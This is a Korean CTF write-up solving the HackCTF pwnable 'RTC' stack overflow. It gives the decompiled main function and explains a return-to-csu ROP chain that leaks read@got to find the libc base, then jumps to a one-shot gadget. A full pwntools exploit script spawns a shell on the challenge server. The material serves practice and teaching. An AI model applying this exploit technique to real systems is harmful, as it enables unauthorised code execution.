본문 바로가기
Wargame Write-Up/HackCTF

[HackCTF] (Pwnable) RTC 풀이

by snwo 2020. 9. 10.
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf; // [rsp+0h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
  return read(0, &buf, 0x200uLL);
}

main 함수이다. rbp-0x400x200 을 입력받는다.

보호기법은 NX 만 enable 되어있다.


라이브러리파일이 주어졌기때문에 write 함수로 read@got 주소를 leak 해서 라이브러리베이스를 구한 뒤,

원샷가젯으로 return 하자. 하지만 pop rdx 가젯이 없기때문에 csu 함수 로 리턴하자


.

r12+rbx*8 로 리턴하고, 인자는 r15,r14,r13 을 받는다.

함수호출 후, rbx 를 1 증가시키는데, rbp 와 다르면 loc_4006A0 로 점프해서,

처음함수 + 8 을 호출해서 오류가 나게된다. 그래서 rbx0으로, rbp1로 세팅해서 

한번만 호출하게 하자.

 

rbx 부터 rbp, r12~r15 까지 세팅할 수 있는 가젯이 있으니 원하는함수를 호출할 수 있다.

!!! r12 에 있는 으로 리턴하니, write@got 주소로 리턴해야한다.


from pwn import *
#r=process("./rtc")
r=remote("ctf.j0n9hyun.xyz",3025)
oneshot=[0x45216,0x4526a,0xf02a4,0xf1147]
b=ELF("./rtc")
libc=ELF("libc.so.6")
context.log_level='debug'
pr12345=0x00000000004006ba # pop rbx, rbp, r12,r13,r14,r15 ;ret
call=0x00000000004006A0 # call r12, edi=r15, rsi=r14, rdx=r13
read=b.got['read']
write=b.got['write']
main=b.symbols['main']

p1=b'x'*0x40
p1+=b'x'*0x8
p1+=p64(pr12345)
p1+=p64(0) #rbx
p1+=p64(1) #rbp
p1+=p64(write) #r12
p1+=p64(8) #r13
p1+=p64(b.got['read'])  #r14
p1+=p64(1)  #r15
p1+=p64(call) # call [r12]
p1+=p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)
p1+=p64(main)

r.sendlineafter("?\n",p1)
libcbase=u64(r.recv(8))-libc.symbols['read']
for i in range(len(oneshot)):
    oneshot[i]+=libcbase
print(hex(libcbase))

p2=b'x'*0x40
p2+=b'x'*8
p2+=p64(oneshot[1])
r.sendline(p2)
r.interactive()

호출 후에는, esp8을 더하고, pop 이 6번 있으니, dummy 값 7개 + main 으로리턴하고,

다시 입력을 받은 뒤, oneshot 가젯으로 리턴한다.